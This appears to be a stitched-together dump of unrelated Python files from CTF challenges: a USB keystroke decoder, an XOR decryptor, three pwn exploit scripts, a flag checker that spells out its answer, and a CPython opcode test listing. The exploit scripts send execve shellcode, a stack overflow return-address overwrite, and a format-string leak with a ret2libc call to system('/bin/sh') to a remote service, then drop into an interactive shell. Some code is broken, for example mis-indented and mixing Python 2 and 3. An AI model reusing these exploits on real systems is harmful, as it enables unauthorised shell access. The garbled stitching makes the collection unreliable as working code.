KEY_CODES = {
    0x04:['a', 'A'],
    0x05:['b', 'B'],
    0x06:['c', 'C'],
    0x07:['d', 'D'],
    0x08:['e', 'E'],
    0x09:['f', 'F'],
    0x0A:['g', 'G'],
    0x0B:['h', 'H'],
    0x0C:['i', 'I'],
    0x0D:['j', 'J'],
    0x0E:['k', 'K'],
    0x0F:['l', 'L'],
    0x10:['m', 'M'],
    0x11:['n', 'N'],
    0x12:['o', 'O'],
    0x13:['p', 'P'],
    0x14:['q', 'Q'],
    0x15:['r', 'R'],
    0x16:['s', 'S'],
    0x17:['t', 'T'],
    0x18:['u', 'U'],
    0x19:['v', 'V'],
    0x1A:['w', 'W'],
    0x1B:['x', 'X'],
    0x1C:['y', 'Y'],
    0x1D:['z', 'Z'],
    0x1E:['1', '!'],
    0x1F:['2', '@'],
    0x20:['3', '#'],
    0x21:['4', '$'],
    0x22:['5', '%'],
    0x23:['6', '^'],
    0x24:['7', '&'],
    0x25:['8', '*'],
    0x26:['9', '('],
    0x27:['0', ')'],
    0x28:['\n'],
    0x2C:[' '],
    0x2D:['-', '_'],
    0x2E:['=', '+'],
    0x2F:['[', '{'],
    0x30:[']', '}'],
    0x33:[';', ':'],
    0x38:['/', '?'],
    0x37:['.', '>'],
    0x2b:'[TAB]'
}
datas = open('keyboard.txt').read().split('\n')[:-1]
output = ''
for data in datas:
	shift = int(data.split(':')[0], 16) / 2
	key = int(data.split(':')[2], 16)
	if key == 0:
	continue
	output += KEY_CODES[key][shift]
print output

from itertools import *

keystream = [0xCE,0x90,0x55,0x84,0x2A,0x72,0x96,0x1E,0x6E,0xFB,0x6C,0xBA,0xB9,0x47,0x75,0x44]

cipher = open('flag.wmv.enc','rb').read()
plain = open('solved.wmv','wb')

for i,j in zip( cipher , cycle(keystream) ):
	plain.write( chr(i ^ j) )

#!/usr/bin/env python

from zio import *

IP = "10.10.175.209"
port = 10003

shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
conn = zio((IP, port))
#conn = zio("./pwn300")
conn.writeline(shellcode)
conn.interact()

#!/usr/bin/env python

from zio import *

IP = "10.10.175.209"
port = 10004

shellcode = 'A' * 272 + '\x80\x83\x04\x08' + 'AAAA' + '\xdb\x85\x04\x08\n'

conn = zio((IP, port))
#conn = zio("./pwn200")
conn.write(shellcode)
conn.interact()

#!/usr/bin/env python

from zio import *

IP = "10.10.175.209"
port = 10005

libcRetOff = 0x18637 
systemOff = 0x0003a940
shellOff = 0x159010
shellcode1 = 'A' * 267 + '\xdb\x85\x04\x08'

conn = zio((IP, port))
#conn = zio("./pwn400")

# obtain the address of __libc_start_main ret
conn.writeline('%83$p' + shellcode1)
libc_ret = conn.read(10)

libc_temp = int(libc_ret, 16) - libcRetOff
systemAddr = l32(libc_temp + systemOff)
shellAddr = l32(libc_temp + shellOff)

conn.read_until("sooo\n")

# obtain shell
shellcode2 = 'A' * 272 + systemAddr + 'AAAA' + shellAddr

conn.writeline(shellcode2)
conn.interact()

flag = input("please input the flag:")

if  len(flag) != 28:
    print("Failure")
    exit()
if  flag[ 0] != 't':
    print("Failure")
    exit()
if  flag[ 1] != 'j':
    print("Failure")
    exit()
if  flag[ 2] != '{':
    print("Failure")
    exit()
if  flag[ 3] != chr(ord('!') + 15):
    print("Failure")
    exit()
if  flag[ 4] != chr(ord('u') -  5):
    print("Failure")
    exit()
if  flag[ 5] != 'C':
    print("Failure")
    exit()
if  flag[ 6] != chr(110 + ord('\x01')):
    print("Failure")
    exit()
if  flag[ 7] != chr(ord('"') * 2):
    print("Failure")
    exit()
if  flag[ 8] != chr(404 >> ord('\x02')):
    print("Failure")
    exit()
if  flag[ 9] != chr(ord(' ') + 63):
    print("Failure")
    exit()
if  flag[10] != chr(ord('H') + 32):
    print("Failure")
    exit()
if  flag[11] != chr(ord('\x08') ** 2):
    print("Failure")
    exit()
if  flag[12] != chr(ord('s'.upper())):
    print("Failure")
    exit()
if  flag[13] != chr(ord('\x13') * 5):
    print("Failure")
    exit()
if  flag[14] != str(8):
    print("Failure")
    exit()
if  flag[15] != chr(ord('d') + 1):
    print("Failure")
    exit()
if  flag[16] != chr(ord('f') - 1):
    print("Failure")
    exit()
if  flag[17] != chr(ord('\'') * 2):
    print("Failure")
    exit()
if  flag[18] != chr(95):
    print("Failure")
    exit()
if  flag[19] != 'R'.lower():
    print("Failure")
    exit()
if  flag[20] != 'E'.upper():
    print("Failure")
    exit()
if  flag[21] != chr(ord('\x14') << 2):
    print("Failure")
    exit()
if  flag[22] != str(int('1')):
    print("Failure")
    exit()
if  flag[23] != 'a':
    print("Failure")
    exit()
if  flag[24] != 'c':
    print("Failure")
    exit()
if  flag[25] != 'e':
    print("Failure")
    exit()
if  flag[26] != 'D':
    print("Failure")
    exit()
if  flag[27] != '}':
    print("Failure")
    exit()
print('Success')

from __future__ import division
from __future__ import with_statement
import sys

global g_a

#define POP_TOP                   1
(lambda:1)()

#define ROT_TWO                   2
a = 1
b = 2
(a, b) = (b, a)

#define ROT_THREE                 3
a = 1
(a, a, a) = (a, a, a)

#define DUP_TOP                   4
a = 1
c = b = a

#define DUP_TOP_TWO               5
a = [1, 2]
a[0] += 3;

#define NOP                       9

#define UNARY_POSITIVE           10
a = 1
a = +a

#define UNARY_NEGATIVE           11
a = 1
a = -a

#define UNARY_NOT                12
a = 1
a = not a

#define UNARY_INVERT             15
a = 1
a = ~a

#define BINARY_MATRIX_MULTIPLY   16
class MyMatrix:
    def __matmul__(self, other):
        pass
a = MyMatrix()
a = a @ a

#define INPLACE_MATRIX_MULTIPLY  17
a = MyMatrix()
a @= a

#define BINARY_POWER             19
a = 2
a = a ** 2

#define BINARY_MULTIPLY          20
a = 2
a = a * 2

#define BINARY_MODULO            22
a = 2
a = a % 2

#define BINARY_ADD               23
a = 2
a = a + 2

#define BINARY_SUBTRACT          24
a = 2
a = a - 2

#define BINARY_SUBSCR            25
a = [1]
a[0]

#define BINARY_FLOOR_DIVIDE      26
a = 2
a = a // 2

#define BINARY_TRUE_DIVIDE       27
# from __future__ import division
a = 2
a = a / 2

#define INPLACE_FLOOR_DIVIDE     28
a = 1
a //= 1

#define INPLACE_TRUE_DIVIDE      29
# from __future__ import division
a = 1
a /= 2

#define GET_AITER                50
#define GET_ANEXT                51
async def FUNC_GET_AITER(b, c):
    async for b in c:
        pass

#define BEFORE_ASYNC_WITH        52
async def FUNC_BEFORE_ASYNC_WITH(b):
    async with b:
        pass

#define INPLACE_ADD              55
a = 1
a += 1

#define INPLACE_SUBTRACT         56
a = 1
a -= 1

#define INPLACE_MULTIPLY         57
a = 1
a *= 1

#define INPLACE_MODULO           59
a = 1
a %= 1

#define STORE_SUBSCR             60
a = [1]
a[0] = 1

#define DELETE_SUBSCR            61
a = [1]
del a[0]

#define BINARY_LSHIFT            62
a = 1
a = a << 1

#define BINARY_RSHIFT            63
a = 1
a = a >> 1

#define BINARY_AND               64
a = 1
a = a & 1

#define BINARY_XOR               65
a = 1
a = a ^ 1

#define BINARY_OR                66
a = 1
a = a | 1

#define INPLACE_POWER            67
a = 1
a **= 1

#define GET_ITER                 68
for a in (1,2):
    pass

#define GET_YIELD_FROM_ITER      69
def FUNC_GET_YIELD_FROM_ITER(b):
    yield from b

#define PRINT_EXPR               70
# IGNORE: used only in interactive mode

#define LOAD_BUILD_CLASS         71
class a:
    pass

#define YIELD_FROM               72
def FUNC_YIELD_FROM(b):
    yield from b

#define GET_AWAITABLE            73
async def FUNC_GET_AWAITABLE(b):
    await b()

#define INPLACE_LSHIFT           75
a = 1
a <<= 1

#define INPLACE_RSHIFT           76
a = 1
a >>= 1

#define INPLACE_AND              77
a = 1
a &= 1

#define INPLACE_XOR              78
a = 1
a ^= 1

#define INPLACE_OR               79
a = 1
a |= 1

#define BREAK_LOOP               80
for a in (1,2):
    break

#define WITH_CLEANUP_START       81
#define WITH_CLEANUP_FINISH      82
# from __future__ import with_statement
with open("all.py") as f:
    pass

#define RETURN_VALUE             83
# IGNORE: last opcode

#define IMPORT_STAR              84
from sys import *

#define SETUP_ANNOTATIONS        85
# captain: str

#define YIELD_VALUE              86
def FUNC_YIELD_VALUE():
    a = 1
    yield 1
    a = 2

#define POP_BLOCK                87
for a in (1,2):
    break

#define END_FINALLY              88
#define POP_EXCEPT               89
try:
    a = 1
except ValueError:
    a = 2
finally:
    a = 3

#define HAVE_ARGUMENT            90
# IGNORE: This is not really an opcode

#define STORE_NAME               90
a = 1

#define DELETE_NAME              91
a = 1
del a

#define UNPACK_SEQUENCE          92
(a, b) = "ab"

#define FOR_ITER                 93
for i in (1,2):
    pass

#define UNPACK_EX                94
t = (1, 2)
(a, *b) = t

#define STORE_ATTR               95
#define DELETE_ATTR              96
class A:
    tmp = 0
a = A()
a.tmp = 0
del a.tmp

#define STORE_GLOBAL             97
#define DELETE_GLOBAL            98
# global g_a
g_a = 1
del g_a

#define LOAD_CONST              100
a = 1

#define LOAD_NAME               101
a = 1
a = a

#define BUILD_TUPLE             102
a = 1;
a = (a, a)

#define BUILD_LIST              103
a = [1,2,3]

#define BUILD_SET               104
{'a', 'b'}

#define BUILD_MAP               105
a = 'a'
b = 'b'
{a: 'a', b: 'b'}

#define LOAD_ATTR               106
[].sort()

#define COMPARE_OP              107
a = 1 == 2

#define IMPORT_NAME             108
# import sys

#define IMPORT_FROM             109
# from __future__ import division
# from __future__ import with_statement

#define JUMP_FORWARD            110
if 1 == 2:
    pass
else:
    pass

#define JUMP_IF_FALSE_OR_POP    111
def FUNC_JUMP_IF_FALSE_OR_POP():
    return 1 and True

#define JUMP_IF_TRUE_OR_POP     112
def FUNC_JUMP_IF_TRUE_OR_POP():
    return 0 or False

#define JUMP_ABSOLUTE           113
for i in (1,2):
    pass

#define POP_JUMP_IF_FALSE       114
if 1 == 2:
    pass

#define POP_JUMP_IF_TRUE        115
if not(1 == 2):
    pass

#define LOAD_GLOBAL             116
# global g_a
g_a = 1
g_a = g_a

#define CONTINUE_LOOP           119
for x in (1,2):
    try:
        continue
    except:
        pass

#define SETUP_LOOP              120
while 0 > 1:
    pass

#define SETUP_EXCEPT            121
#define SETUP_FINALLY           122
try:
        a = 1
except ValueError:
        a = 2
finally:
        a = 3
        
#define LOAD_FAST               124
def FUNC_LOAD_FAST():
    a = 1
    a = a

#define STORE_FAST              125
def FUNC_STORE_FAST():
    a = 1
    a = a

#define DELETE_FAST             126
def FUNC_DELETE_FAST():
    a = 1
    del a
        
#define STORE_ANNOTATION        127
captain: str

#define RAISE_VARARGS           130
if 1 == 0:
    raise ValueError

#define CALL_FUNCTION           131
#define MAKE_FUNCTION           132
def a():
    pass
a()

#define BUILD_SLICE             133
a = [1,2,3,4]
b = a[::-1]

#define LOAD_CLOSURE            135
#define LOAD_DEREF              136
#define STORE_DEREF             137
#define DELETE_DEREF            138
def FUNC_CLOSURE():
    a = 1
    b = a
    del a
    def g():
        return a + 1
    return g()

#define CALL_FUNCTION_KW        141
"{a}".format(a = 'test')

#define CALL_FUNCTION_EX        142
def f(a, b):
    pass
a = {"a":1,"b":2}
f(**a)

#define SETUP_WITH              143
with open("all.py") as f:
    pass

#define EXTENDED_ARG            144
while 0 > 1:
    pass

#define LIST_APPEND             145
a = [i * i for i in (1, 2)]

#define SET_ADD                 146
a = {i * i for i in (1, 2)}

#define MAP_ADD                 147
a = {1: i * i for i in (1, 2)}

#define LOAD_CLASSDEREF         148
def FUNC_LOAD_CLASSDEREF():
    x = "xlocal"
    y = "ylocal"
    class C:
        print(x)
        print(y)
        y = 1
    
#define BUILD_LIST_UNPACK       149
[*[1], *[2], *[3]]

#define BUILD_MAP_UNPACK        150
{**{"a":1}, **{"b":2}, **{"c":3}}

#define BUILD_MAP_UNPACK_WITH_CALL 151
def f(a, b, c):
    pass
f(**{"a":1}, **{"b":2}, **{"c":3})

#define BUILD_TUPLE_UNPACK      152
(*[1], *[2], 3, *[4, 5])

#define BUILD_SET_UNPACK        153
{*[1], *[2], 3, *[4, 5]}

#define SETUP_ASYNC_WITH        154
async def FUNC_SETUP_ASYNC_WITH(b):
    async with b:
        pass
        
#define FORMAT_VALUE            155
name = "George"
f"My cool string is called {name}."

#define BUILD_CONST_KEY_MAP     156
{'a': 1, 'a': 2}

#define BUILD_STRING            157
name = "George"
f"My cool string is called {name}."

#define BUILD_TUPLE_UNPACK_WITH_CALL 158
def f(a, b):
    pass
f(*[1], *[2])